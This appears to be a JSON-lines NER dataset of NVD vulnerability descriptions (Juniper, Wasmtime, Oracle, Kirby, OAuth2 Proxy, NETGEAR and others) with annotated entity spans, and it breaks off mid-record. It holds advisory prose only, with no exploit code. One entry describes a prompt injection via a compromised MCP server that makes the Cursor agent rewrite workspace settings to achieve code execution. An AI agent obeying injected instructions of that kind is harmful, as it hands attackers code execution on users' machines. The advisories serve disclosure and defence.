{"text": "A vulnerability in the Distance Vector Multicast Routing Protocol (DVMRP) of Juniper Networks Junos OS on the QFX10K Series switches allows an attacker to trigger a packet forwarding loop, leading to a partial Denial of Service (DoS). The issue is caused by DVMRP packets looping on a multi-homed Ethernet Segment Identifier (ESI) when VXLAN is configured. DVMRP packets received on a multi-homed ESI are sent to the peer, and then incorrectly forwarded out the same ESI, violating the split horizon rule. This issue only affects QFX10K Series switches, including the QFX10002, QFX10008, and QFX10016. Other products and platforms are unaffected by this vulnerability. This issue affects Juniper Networks Junos OS on QFX10K Series: 17.3 versions prior to 17.3R3-S12; 17.4 versions prior to 17.4R3-S5; 18.1 versions prior to 18.1R3-S13; 18.2 version 18.2R1 and later versions; 18.3 versions prior to 18.3R3-S5; 18.4 versions prior to 18.4R2-S9, 18.4R3-S8; 19.1 versions prior to 19.1R3-S5; 19.2 versions prior to 19.2R1-S7, 19.2R3-S2; 19.3 versions prior to 19.3R3-S2; 19.4 versions prior to 19.4R3-S3; 20.1 versions prior to 20.1R2-S2, 20.1R3; 20.2 versions prior to 20.2R3; 20.3 versions prior to 20.3R3; 20.4 versions prior to 20.4R2.", "spans": {"ORGANIZATION: Juniper": [[77, 84], [688, 695]], "VULNERABILITY: Denial of Service": [[210, 227]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-0295"}}
{"text": "Wasmtime is an open source runtime for WebAssembly. Under certain concurrent event orderings, a `wasmtime::Engine`'s internal type registry was susceptible to double-unregistration bugs due to a race condition, leading to panics and potentially type registry corruption. That registry corruption could, following an additional and particular sequence of concurrent events, lead to violations of WebAssembly's control-flow integrity (CFI) and type safety. Users that do not use `wasmtime::Engine` across multiple threads are not affected. Users that only create new modules across threads over time are additionally not affected. Reproducing this bug requires creating and dropping multiple type instances (such as `wasmtime::FuncType` or `wasmtime::ArrayType`) concurrently on multiple threads, where all types are associated with the same `wasmtime::Engine`. **Wasm guests cannot trigger this bug.** See the \"References\" section below for a list of Wasmtime types-related APIs that are affected. Wasmtime maintains an internal registry of types within a `wasmtime::Engine` and an engine is shareable across threads. Types can be created and referenced through creation of a `wasmtime::Module`, creation of `wasmtime::FuncType`, or a number of other APIs where the host creates a function (see \"References\" below). Each of these cases interacts with an engine to deduplicate type information and manage type indices that are used to implement type checks in WebAssembly's `call_indirect` function, for example. This bug is a race condition in this management where the internal type registry could be corrupted to trigger an assert or contain invalid state. Wasmtime's internal representation of a type has individual types (e.g. one-per-host-function) maintain a registration count of how many time it's been used. Types additionally have state within an engine behind a read-write lock such as lookup/deduplication information. The race here is a time-of-check versus time-of-use (TOCTOU) bug where one thread atomically decrements a type entry's registration count, observes zero registrations, and then acquires a lock in order to unregister that entry. However, between when this first thread observed the zero-registration count and when it acquires that lock, another thread could perform the following sequence of events: re-register another copy of the type, which deduplicates to that same entry, resurrecting it and incrementing its registration count; then drop the type and decrement its registration count; observe that the registration count is now zero; acquire the type registry lock; and finally unregister the type. Now, when the original thread finally acquires the lock and unregisters the entry, it is the second time this entry has been unregistered. This bug was originally introduced in Wasmtime 19's development of the WebAssembly GC proposal. This bug affects users who are not using the GC proposal, however, and affects Wasmtime in its default configuration even when the GC proposal is disabled. Wasmtime users using 19.0.0 and after are all affected by this issue. We have released the following Wasmtime versions, all of which have a fix for this bug: * 21.0.2 * 22.0.1 * 23.0.3 * 24.0.1 * 25.0.2. If your application creates and drops Wasmtime types on multiple threads concurrently, there are no known workarounds. Users are encouraged to upgrade to a patched release.", "spans": {"VULNERABILITY: race condition": [[195, 209], [1525, 1539]], "VULNERABILITY: TOCTOU": [[1983, 1989]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-47813"}}
{"text": "Vulnerability in the Oracle Common Applications product of Oracle E-Business Suite (component: CRM User Management Framework). Supported versions that are affected are 12.1.3 and 12.2.3-12.2.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Common Applications. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Common Applications, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Common Applications accessible data. CVSS 3.1 Base Score 4.7 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [59, 65], [302, 308], [447, 453], [640, 646]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14716"}}
{"text": "Cursor is a code editor built for programming with AI. Versions 1.6 and below are vulnerable to Remote Code Execution (RCE) attacks through Visual Studio Code Workspaces. Workspaces allow users to open more than a single folder and save specific settings (pretty similar to .vscode/settings.json) for the folders / project. An untitled workspace is automatically created by VS Code (untitled.code-workspace), which contains all the folders and workspace settings from the user's current session, opening up an entire new attack vector if the user has a .code-workspace file in path (either untitled created automatically or a saved one). If an attacker is able to hijack the chat context of the victim (such as via a compromised MCP server), they can use prompt injection to make the Cursor Agent write into this file and modify the workspace. This leads to a bypass of CVE-2025-54130 which can lead to RCE by writing to the settings section. This issue is fixed in version 1.7.", "spans": {"CVE_ID: CVE-2025-54130": [[870, 884]], "FILEPATH: settings.json": [[282, 295]], "SYSTEM: Visual Studio Code": [[140, 158]], "VULNERABILITY: Remote Code Execution": [[96, 117]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-61590"}}
{"text": "When a device running Juniper Networks Junos OS with MPC7, MPC8, or MPC9 line cards installed and the system is configured for inline IP reassembly, used by L2TP, MAP-E, GRE, and IPIP, the packet forwarding engine (PFE) will become disabled upon receipt of small fragments requiring reassembly, generating the following error messages: [LOG: Err] MQSS(2): WO: Packet Error - Error Packets 1, Connection 29 [LOG: Err] eachip_hmcif_rx_intr_handler(7259): EA[2:0]: HMCIF Rx: Injected checksum error detected on WO response - Chunk Address 0x0 [LOG: Err] MQSS(2): DRD: RORD1: CMD reorder ID error - Command 11, Reorder ID 1960, QID 0 [LOG: Err] MQSS(2): DRD: UNROLL0: HMC chunk address error in stage 5 - Chunk Address: 0xc38fb1 [LOG: Notice] Error: /fpc/0/pfe/0/cm/0/MQSS(2)/2/MQSS_CMERROR_DRD_RORD_ENG_INT_REG_CMD_FSM_STATE_ERR (0x2203cc), scope: pfe, category: functional, severity: major, module: MQSS(2), type: DRD_RORD_ENG_INT: CMD FSM State Error [LOG: Notice] Performing action cmalarm for error /fpc/0/pfe/0/cm/0/MQSS(2)/2/MQSS_CMERROR_DRD_RORD_ENG_INT_REG_CMD_FSM_STATE_ERR (0x2203cc) in module: MQSS(2) with scope: pfe category: functional level: major [LOG: Notice] Performing action get-state for error /fpc/0/pfe/0/cm/0/MQSS(2)/2/MQSS_CMERROR_DRD_RORD_ENG_INT_REG_CMD_FSM_STATE_ERR (0x2203cc) in module: MQSS(2) with scope: pfe category: functional level: major [LOG: Notice] Performing action disable-pfe for error /fpc/0/pfe/0/cm/0/MQSS(2)/2/MQSS_CMERROR_DRD_RORD_ENG_INT_REG_CMD_FSM_STATE_ERR (0x2203cc) in module: MQSS(2) with scope: pfe category: functional level: major By continuously sending fragmented packets that cannot be reassembled, an attacker can repeatedly disable the PFE causing a sustained Denial of Service (DoS). This issue affects Juniper Networks Junos OS: 17.2 versions prior to 17.2R3-S4 on MX Series; 17.3 versions prior to 17.3R3-S8 on MX Series; 17.4 versions prior to 17.4R2-S9, 17.4R3-S1 on MX Series; 18.1 versions prior to 18.1R3-S10 on MX Series; 18.2 versions prior to 18.2R2-S6, 18.2R3-S3 on MX Series; 18.2X75 versions prior to 18.2X75-D34, 18.2X75-D41, 18.2X75-D53, 18.2X75-D65, 18.2X75-D430 on MX Series; 18.3 versions prior to 18.3R1-S7, 18.3R2-S4, 18.3R3-S2 on MX Series; 18.4 versions prior to 18.4R1-S6, 18.4R2-S4, 18.4R3 on MX Series; 19.1 versions prior to 19.1R1-S4, 19.1R2-S1, 19.1R3 on MX Series; 19.2 versions prior to 19.2R1-S3, 19.2R2 on MX Series; 19.3 versions prior to 19.3R2-S2, 19.3R3 on MX Series. This issue is specific to inline IP reassembly, introduced in Junos OS 17.2. Versions of Junos OS prior to 17.2 are unaffected by this vulnerability.", "spans": {"FILEPATH: /fpc/0/pfe/0/cm/0/MQSS": [[746, 768], [1000, 1022], [1212, 1234], [1426, 1448]], "FILEPATH: /2/MQSS_CMERROR_DRD_RORD_ENG_INT_REG_CMD_FSM_STATE_ERR": [[771, 825], [1025, 1079], [1237, 1291], [1451, 1505]], "ORGANIZATION: Juniper": [[22, 29], [1764, 1771]], "VULNERABILITY: Denial of Service": [[1720, 1737]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-1649"}}
{"text": "Kyverno is a policy engine designed for Kubernetes. A security vulnerability was found in Kyverno where an attacker could cause denial of service of Kyverno. The vulnerable component in Kyvernos Notary verifier. An attacker would need control over the registry from which Kyverno would fetch attestations. With such a position, the attacker could return a malicious response to Kyverno, when Kyverno would send a request to the registry. The malicious response would cause denial of service of Kyverno, such that other users' admission requests would be blocked from being processed. This is a vulnerability in a new component released in v1.11.0. The only users affected by this are those that have been building Kyverno from source at the main branch which is not encouraged. Users consuming official Kyverno releases are not affected. There are no known cases of this vulnerability being exploited in the wild.", "spans": {"SYSTEM: Kubernetes": [[40, 50]], "VULNERABILITY: denial of service": [[128, 145], [473, 490]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-42813"}}
{"text": "Kirby is an open source file structured CMS ### Impact Kirby's writer field stores its formatted content as HTML code. Unlike with other field types, it is not possible to escape HTML special characters against cross-site scripting (XSS) attacks, otherwise the formatting would be lost. If the user is logged in to the Panel, a harmful script can for example trigger requests to Kirby's API with the permissions of the victim. Because the writer field did not securely sanitize its contents on save, it was possible to inject malicious HTML code into the content file by sending it to Kirby's API directly without using the Panel. This malicious HTML code would then be displayed on the site frontend and executed in the browsers of site visitors and logged in users who are browsing the site. Attackers must be in your group of authenticated Panel users in order to exploit this weakness. Users who do not make use of the writer field are not affected. This issue has been patched in Kirby 3.5.8 by sanitizing all writer field contents on the backend whenever the content is modified via Kirby's API. Please update to this or a later version to fix the vulnerability.", "spans": {"VULNERABILITY: cross-site scripting": [[211, 231]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-41252"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nrust_binder: call set_notification_done() without proc lock\n\nConsider the following sequence of events on a death listener:\n1. The remote process dies and sends a BR_DEAD_BINDER message.\n2. The local process invokes the BC_CLEAR_DEATH_NOTIFICATION command.\n3. The local process then invokes the BC_DEAD_BINDER_DONE.\nThen, the kernel will reply to the BC_DEAD_BINDER_DONE command with a\nBR_CLEAR_DEATH_NOTIFICATION_DONE reply using push_work_if_looper().\n\nHowever, this can result in a deadlock if the current thread is not a\nlooper. This is because dead_binder_done() still holds the proc lock\nduring set_notification_done(), which called push_work_if_looper().\nNormally, push_work_if_looper() takes the thread lock, which is fine to\ntake under the proc lock. But if the current thread is not a looper,\nthen it falls back to delivering the reply to the process work queue,\nwhich involves taking the proc lock. Since the proc lock is already\nheld, this is a deadlock.\n\nFix this by releasing the proc lock during set_notification_done(). It\nwas not intentional that it was held during that function to begin with.\n\nI don't think this ever happens in Android because BC_DEAD_BINDER_DONE\nis only invoked in response to BR_DEAD_BINDER messages, and the kernel\nalways delivers BR_DEAD_BINDER to a looper. So there's no scenario where\nAndroid userspace will call BC_DEAD_BINDER_DONE on a non-looper thread.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: Android": [[1217, 1224], [1397, 1404]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23400"}}
{"text": "Vulnerability in the Oracle Partner Management product of Oracle E-Business Suite (component: Attribute Admin Setup). Supported versions that are affected are 12.1.1-12.1.3. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Partner Management. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Partner Management, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Partner Management accessible data as well as unauthorized update, insert or delete access to some of Oracle Partner Management accessible data. CVSS 3.0 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [58, 64], [282, 288], [426, 432], [625, 631], [734, 740]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2877"}}
{"text": "lakeFS is an open-source tool that transforms object storage into a Git-like repositories. Prior to 1.77.0, the local block adapter (pkg/block/local/adapter.go) allows authenticated users to read and write files outside their designated storage boundaries. The verifyRelPath function used strings.HasPrefix() to verify that requested paths fall within the configured storage directory. This check was insufficient because it validated only the path prefix without requiring a path separator, allowing access to sibling directories with similar names. Also, the adapter verified that resolved paths stayed within the adapter's base path, but did not verify that object identifiers stayed within their designated storage namespace. This allowed attackers to use path traversal sequences in the object identifier to access files in other namespaces. Fixed in version v1.77.0.", "spans": {"FILEPATH: /block/local/adapter.go": [[136, 159]], "VULNERABILITY: path traversal": [[760, 774]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-26187"}}
{"text": "OAuth2 Proxy is a reverse proxy that provides authentication using OAuth2 providers. Versions 7.5.0 through 7.15.1 have a configuration-dependent authentication bypass. Deployments are affected when all of the following are true: Use of `skip_auth_routes` or the legacy `skip_auth_regex`; use of patterns that can be widened by attacker-controlled suffixes, such as `^/foo/.*/bar$` causing potential exposure of `/foo/secret`; and protected upstream applications that interpret `#` as a fragment delimiter or otherwise route the request to the protected base path. In deployments that rely on these settings, an unauthenticated attacker can send a crafted request containing a number sign in the path, including the browser-safe encoded form `%23`, so that OAuth2 Proxy matches a public allowlist rule while the backend serves a protected resource. Deployments that do not use these skip-auth options, or that only allow exact public paths with tightly scoped method and path rules, are not affected. A fix has been implemented in version 7.15.2 to normalize request paths more conservatively before skip-auth matching so fragment content does not influence allowlist decisions. Users who cannot upgrade immediately can reduce exposure by tightening or removing `skip_auth_routes` and `skip_auth_regex` rules, especially patterns that use broad wildcards across path segments. Recommended mitigations include replacing broad rules with exact, anchored public paths and explicit HTTP methods; rejecting requests whose path contains `%23` or `#` at the ingress, load balancer, or WAF level; and/or avoiding placing sensitive application paths behind broad `skip_auth_routes` rules.", "spans": {"FILEPATH: /foo/.": [[368, 374]], "FILEPATH: /foo/secret": [[413, 424]], "VULNERABILITY: authentication bypass": [[146, 167]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-41059"}}
{"text": "Vulnerability in the Oracle Java SE, Oracle GraalVM Enterprise Edition, Oracle GraalVM for JDK product of Oracle Java SE (component: Utility).  Supported versions that are affected are Oracle Java SE: 11.0.19, 17.0.7, 20.0.1; Oracle GraalVM Enterprise Edition: 20.3.10, 21.3.6, 22.3.2; Oracle GraalVM for JDK: 17.0.7 and  20.0.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM Enterprise Edition, Oracle GraalVM for JDK.  Successful attacks of this vulnerability can result in unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Java SE, Oracle GraalVM Enterprise Edition, Oracle GraalVM for JDK. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 3.7 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L).", "spans": {"SYSTEM: Java": [[28, 32], [113, 117], [192, 196], [461, 465], [667, 671], [915, 919], [972, 976], [1013, 1017], [1118, 1122]], "ORGANIZATION: Oracle": [[21, 27], [37, 43], [72, 78], [106, 112], [185, 191], [226, 232], [286, 292], [454, 460], [470, 476], [505, 511], [660, 666], [676, 682], [711, 717]], "VULNERABILITY: denial of service": [[625, 642]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-22036"}}
{"text": "@webiny/react-rich-text-renderer before 5.37.2 allows XSS attacks by content managers. This is a react component to render data coming from Webiny Headless CMS and Webiny Form Builder. Webiny is an open-source serverless enterprise CMS. The @webiny/react-rich-text-renderer package depends on the editor.js rich text editor to handle rich text content. The CMS stores rich text content from the editor.js into the database. When the @webiny/react-rich-text-renderer is used to render such content, it uses the dangerouslySetInnerHTML prop, without applying HTML sanitization. The issue arises when an actor, who in this context would specifically be a content manager with access to the CMS, inserts a malicious script as part of the user-defined input. This script is then injected and executed within the user's browser when the main page or admin page loads.", "spans": {"FILEPATH: editor.js": [[297, 306], [395, 404]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-41167"}}
{"text": "TYPO3 is a free and open source Content Management Framework. A vulnerability has been identified in the backend user interface functionality involving deep links. Specifically, this functionality is susceptible to Cross-Site Request Forgery (CSRF). Additionally, state-changing actions in downstream components incorrectly accepted submissions via HTTP GET and did not enforce the appropriate HTTP method. Successful exploitation of this vulnerability requires the victim to have an active session on the backend user interface and to be deceived into interacting with a malicious URL targeting the backend, which can occur under the following conditions: The user opens a malicious link, such as one sent via email. The user visits a compromised or manipulated website while the following settings are misconfigured: 1. `security.backend.enforceReferrer` feature is disabled, 2. `BE/cookieSameSite` configuration is set to lax or none. The vulnerability in the affected downstream component “Dashboard Module” allows attackers to manipulate the victim’s dashboard configuration. Users are advised to update to TYPO3 versions 11.5.42 ELTS, 12.4.25 LTS, 13.4.3 LTS which fix the problem described. There are no known workarounds for this vulnerability.", "spans": {"VULNERABILITY: Cross-Site Request Forgery": [[215, 241]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-55920"}}
{"text": "authentik is an open-source Identity provider focused on flexibility and versatility. In versions prior to 2022.10.4, and 2022.11.4, any authenticated user can create an arbitrary number of accounts through the default flows. This would circumvent any policy in a situation where it is undesirable for users to create new accounts by themselves. This may also affect other applications as these new basic accounts would exist throughout the SSO infrastructure. By default the newly created accounts cannot be logged into as no password reset exists by default. However password resets are likely to be enabled by most installations. This vulnerability pertains to the user context used in the default-user-settings-flow, /api/v3/flows/instances/default-user-settings-flow/execute/. This issue has been fixed in versions 2022.10.4 and 2022.11.4.", "spans": {"FILEPATH: /api/v3/flows/instances/default-user-settings-flow/execute/.": [[721, 781]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-46172"}}
{"text": "<p>A cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.</p>\n<p>The attacker who successfully exploited the vulnerability could then perform cross-site scripting attacks on affected systems and run script in the security context of the current user. The attacks could allow the attacker to read content that the attacker is not authorized to read, use the victim's identity to take actions on the SharePoint site on behalf of the user, such as change permissions and delete content, and inject malicious content in the browser of the user.</p>\n<p>The security update addresses the vulnerability by helping to ensure that SharePoint Server properly sanitizes web requests.</p>", "spans": {"SYSTEM: Microsoft SharePoint": [[58, 78]], "VULNERABILITY: cross-site scripting": [[394, 414]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-1514"}}
{"text": "OpenWrt Project is a Linux operating system targeting embedded devices. In versions prior to 24.10.6, a vulnerability in the hotplug_call function allows an attacker to bypass environment variable filtering and inject an arbitrary PATH variable, potentially leading to privilege escalation. The function is intended to filter out sensitive environment variables like PATH when executing hotplug scripts in /etc/hotplug.d, but a bug using strcmp instead of strncmp causes the filter to compare the full environment string (e.g., PATH=/some/value) against the literal \"PATH\", so the match always fails. As a result, the PATH variable is never excluded, enabling an attacker to control which binaries are executed by procd-invoked scripts running with elevated privileges. This issue has been fixed in version 24.10.6.", "spans": {"FILEPATH: /etc/hotplug.d": [[406, 420]], "FILEPATH: /some/value": [[533, 544]], "SYSTEM: Linux": [[21, 26]], "VULNERABILITY: privilege escalation": [[269, 289]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-30874"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: fix relocation crash due to premature return from btrfs_commit_transaction()\n\nWe are seeing crashes similar to the following trace:\n\n[38.969182] WARNING: CPU: 20 PID: 2105 at fs/btrfs/relocation.c:4070 btrfs_relocate_block_group+0x2dc/0x340 [btrfs]\n[38.973556] CPU: 20 PID: 2105 Comm: btrfs Not tainted 5.17.0-rc4 #54\n[38.974580] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.12.0-59-gc9ba5276e321-prebuilt.qemu.org 04/01/2014\n[38.976539] RIP: 0010:btrfs_relocate_block_group+0x2dc/0x340 [btrfs]\n[38.980336] RSP: 0000:ffffb0dd42e03c20 EFLAGS: 00010206\n[38.981218] RAX: ffff96cfc4ede800 RBX: ffff96cfc3ce0000 RCX: 000000000002ca14\n[38.982560] RDX: 0000000000000000 RSI: 4cfd109a0bcb5d7f RDI: ffff96cfc3ce0360\n[38.983619] RBP: ffff96cfc309c000 R08: 0000000000000000 R09: 0000000000000000\n[38.984678] R10: ffff96cec0000001 R11: ffffe84c80000000 R12: ffff96cfc4ede800\n[38.985735] R13: 0000000000000000 R14: 0000000000000000 R15: ffff96cfc3ce0360\n[38.987146] FS:  00007f11c15218c0(0000) GS:ffff96d6dfb00000(0000) knlGS:0000000000000000\n[38.988662] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[38.989398] CR2: 00007ffc922c8e60 CR3: 00000001147a6001 CR4: 0000000000370ee0\n[38.990279] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n[38.991219] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n[38.992528] Call Trace:\n[38.992854]  <TASK>\n[38.993148]  btrfs_relocate_chunk+0x27/0xe0 [btrfs]\n[38.993941]  btrfs_balance+0x78e/0xea0 [btrfs]\n[38.994801]  ? vsnprintf+0x33c/0x520\n[38.995368]  ? __kmalloc_track_caller+0x351/0x440\n[38.996198]  btrfs_ioctl_balance+0x2b9/0x3a0 [btrfs]\n[38.997084]  btrfs_ioctl+0x11b0/0x2da0 [btrfs]\n[38.997867]  ? mod_objcg_state+0xee/0x340\n[38.998552]  ? seq_release+0x24/0x30\n[38.999184]  ? proc_nr_files+0x30/0x30\n[38.999654]  ? call_rcu+0xc8/0x2f0\n[39.000228]  ? __x64_sys_ioctl+0x84/0xc0\n[39.000872]  ? btrfs_ioctl_get_supported_features+0x30/0x30 [btrfs]\n[39.001973]  __x64_sys_ioctl+0x84/0xc0\n[39.002566]  do_syscall_64+0x3a/0x80\n[39.003011]  entry_SYSCALL_64_after_hwframe+0x44/0xae\n[39.003735] RIP: 0033:0x7f11c166959b\n[39.007324] RSP: 002b:00007fff2543e998 EFLAGS: 00000246 ORIG_RAX: 0000000000000010\n[39.008521] RAX: ffffffffffffffda RBX: 00007f11c1521698 RCX: 00007f11c166959b\n[39.009833] RDX: 00007fff2543ea40 RSI: 00000000c4009420 RDI: 0000000000000003\n[39.011270] RBP: 0000000000000003 R08: 0000000000000013 R09: 00007f11c16f94e0\n[39.012581] R10: 0000000000000000 R11: 0000000000000246 R12: 00007fff25440df3\n[39.014046] R13: 0000000000000000 R14: 00007fff2543ea40 R15: 0000000000000001\n[39.015040]  </TASK>\n[39.015418] ---[ end trace 0000000000000000 ]---\n[43.131559] ------------[ cut here ]------------\n[43.132234] kernel BUG at fs/btrfs/extent-tree.c:2717!\n[43.133031] invalid opcode: 0000 [#1] PREEMPT SMP PTI\n[43.133702] CPU: 1 PID: 1839 Comm: btrfs Tainted: G        W         5.17.0-rc4 #54\n[43.134863] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.12.0-59-gc9ba5276e321-prebuilt.qemu.org 04/01/2014\n[43.136426] RIP: 0010:unpin_extent_range+0x37a/0x4f0 [btrfs]\n[43.139913] RSP: 0000:ffffb0dd4216bc70 EFLAGS: 00010246\n[43.140629] RAX: 0000000000000000 RBX: ffff96cfc34490f8 RCX: 0000000000000001\n[43.141604] RDX: 0000000080000001 RSI: 0000000051d00000 RDI: 00000000ffffffff\n[43.142645] RBP: 0000000000000000 R08: 0000000000000000 R09: ffff96cfd07dca50\n[43.143669] R10: ffff96cfc46e8a00 R11: fffffffffffec000 R12: 0000000041d00000\n[43.144657] R13: ffff96cfc3ce0000 R14: ffffb0dd4216bd08 R15: 0000000000000000\n[43.145686] FS:  00007f7657dd68c0(0000) GS:ffff96d6df640000(0000) knlGS:0000000000000000\n[43.146808] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[43.147584] CR2: 00007f7fe81bf5b0 CR3: 00000001093ee004 CR4: 0000000000370ee0\n[43.148589] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n[43.149581] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 00000000000\n---truncated---", "spans": {"DOMAIN: rel-1.12.0-59-gc9ba5276e321-prebuilt.qemu.org": [[466, 511], [3039, 3084]], "FILEPATH: /btrfs/relocation.c": [[253, 272]], "FILEPATH: /01/2014": [[514, 522], [3087, 3095]], "FILEPATH: /btrfs/extent-tree.c": [[2802, 2822]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[421, 425], [2994, 2998]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48903"}}
{"text": "Certain NETGEAR devices are affected by a buffer overflow by an authenticated user. This affects R6700v3 before 1.0.4.98, R6400v2 before 1.0.4.98, R7000 before 1.0.11.106, R6900P before 1.3.2.124, R7000P before 1.3.2.124, R7900 before 1.0.4.26, R7850 before 1.0.5.60, R8000 before 1.0.4.58, RS400 before 1.5.0.48, R6400 before 1.0.1.62, R6700 before 1.0.2.16, R6900 before 1.0.2.16, MK60 before 1.0.5.102, MR60 before 1.0.5.102, MS60 before 1.0.5.102, CBR40 before 2.5.0.10, R8000P before 1.4.1.62, R7960P before 1.4.1.62, R7900P before 1.4.1.62, RAX15 before 1.0.1.64, RAX20 before 1.0.1.64, RAX75 before 1.0.3.102, RAX80 before 1.0.3.102, RAX200 before 1.0.2.102, RAX45 before 1.0.2.64, RAX50 before 1.0.2.64, EX7500 before 1.0.0.68, EAX80 before 1.0.1.62, EAX20 before 1.0.0.36, RBK752 before 3.2.16.6, RBK753 before 3.2.16.6, RBK753S before 3.2.16.6, RBK754 before 3.2.16.6, RBR750 before 3.2.16.6, RBS750 before 3.2.16.6, RBK852 before 3.2.16.6, RBK853 before 3.2.16.6, RBK854 before 3.2.16.6, RBR850 before 3.2.16.6, RBS850 before 3.2.16.6, RBR840 before 3.2.16.6, RBS840 before 3.2.16.6, R6120 before 1.0.0.70, R6220 before 1.1.0.100, R6230 before 1.1.0.100, R6260 before 1.1.0.76, R6850 before 1.1.0.76, R6350 before 1.1.0.76, R6330 before 1.1.0.76, D7800 before 1.0.1.58, RBK50 before 2.6.1.40, RBR50 before 2.6.1.40, RBS50 before 2.6.1.40, RBK40 before 2.6.1.36, RBR40 before 2.6.1.36, RBS40 before 2.6.1.38, RBK23 before 2.6.1.36, RBR20 before 2.6.1.38, RBS20 before 2.6.1.38, RBK12 before 2.6.1.44, RBK13 before 2.6.1.44, RBK14 before 2.6.1.44, RBK15 before 2.6.1.44, RBR10 before 2.6.1.44, RBS10 before 2.6.1.44, R6800 before 1.2.0.72, R6900v2 before 1.2.0.72, R6700v2 before 1.2.0.72, R7200 before 1.2.0.72, R7350 before 1.2.0.72, R7400 before 1.2.0.72, R7450 before 1.2.0.72, AC2100 before 1.2.0.72, AC2400 before 1.2.0.72, AC2600 before 1.2.0.72, R7800 before 1.0.2.74, R8900 before 1.0.5.24, R9000 before 1.0.5.24, RAX120 before 1.0.1.136, XR450 before 2.3.2.66, XR500 before 2.3.2.66, XR700 before 1.0.1.34, and XR300 before 1.0.3.50.", "spans": {"IP_ADDRESS: 1.0.4.98": [[112, 120], [137, 145]], "IP_ADDRESS: 1.0.11.106": [[160, 170]], "IP_ADDRESS: 1.3.2.124": [[186, 195], [211, 220]], "IP_ADDRESS: 1.0.4.26": [[235, 243]], "IP_ADDRESS: 1.0.5.60": [[258, 266]], "IP_ADDRESS: 1.0.4.58": [[281, 289]], "IP_ADDRESS: 1.5.0.48": [[304, 312]], "IP_ADDRESS: 1.0.1.62": [[327, 335], [749, 757]], "IP_ADDRESS: 1.0.2.16": [[350, 358], [373, 381]], "IP_ADDRESS: 1.0.5.102": [[395, 404], [418, 427], [441, 450]], "IP_ADDRESS: 2.5.0.10": [[465, 473]], "IP_ADDRESS: 1.4.1.62": [[489, 497], [513, 521], [537, 545]], "IP_ADDRESS: 1.0.1.64": [[560, 568], [583, 591]], "IP_ADDRESS: 1.0.3.102": [[606, 615], [630, 639]], "IP_ADDRESS: 1.0.2.102": [[655, 664]], "IP_ADDRESS: 1.0.2.64": [[679, 687], [702, 710]], "IP_ADDRESS: 1.0.0.68": [[726, 734]], "IP_ADDRESS: 1.0.0.36": [[772, 780]], "IP_ADDRESS: 3.2.16.6": [[796, 804], [820, 828], [845, 853], [869, 877], [893, 901], [917, 925], [941, 949], [965, 973], [989, 997], [1013, 1021], [1037, 1045], [1061, 1069], [1085, 1093]], "IP_ADDRESS: 1.0.0.70": [[1108, 1116]], "IP_ADDRESS: 1.1.0.100": [[1131, 1140], [1155, 1164]], "IP_ADDRESS: 1.1.0.76": [[1179, 1187], [1202, 1210], [1225, 1233], [1248, 1256]], "IP_ADDRESS: 1.0.1.58": [[1271, 1279]], "IP_ADDRESS: 2.6.1.40": [[1294, 1302], [1317, 1325], [1340, 1348]], "IP_ADDRESS: 2.6.1.36": [[1363, 1371], [1386, 1394], [1432, 1440]], 